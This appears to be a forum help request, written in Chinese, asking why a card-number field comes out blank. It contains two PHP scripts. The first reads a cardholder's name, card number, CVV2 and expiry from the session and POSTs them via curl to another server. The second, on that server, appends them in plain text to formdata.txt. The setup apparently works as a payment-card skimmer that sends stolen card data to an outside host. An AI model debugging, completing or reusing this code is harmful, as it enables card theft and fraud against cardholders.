我在这个脚本中有问题。我面临的问题是,当我在 cc_no = 3654785698568 之类的变量中发送大量数据时,我在检查它的文本文件上得到空白。其他变量工作正常。
session_set_cookie_params(0);
session_start();
echo $cc_name = $_SESSION['card_name'];
echo $cc_no = $_SESSION['card_no'];
echo $cc_cvv2 = $_SESSION['cvv2'];
echo $cc_expiry = $_SESSION['expiry'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://example.com/db/get.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"cc_name=$cc_name&cc_no=$cc_no&cc_cvv2=$cc_cvv2&cc_expiry=$cc_expiry");
// receive server response ...
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec ($ch);
curl_close ($ch);
捕获其他服务器上的值的代码。
<?php
$fp = fopen("formdata.txt", "a");
$cc_name1 = $_POST['cc_name'];
$cc_no1 = $_POST['card_no'];
$cc_cvv21 = $_POST['cc_cvv2'];
$cc_expiry1 = $_POST['cc_expiry'];
$data = "$cc_name1 | $cc_no1 | $cc_cvv21 | $cc_expiry1 \n";
fwrite($fp, $data);
fclose($fp);
?>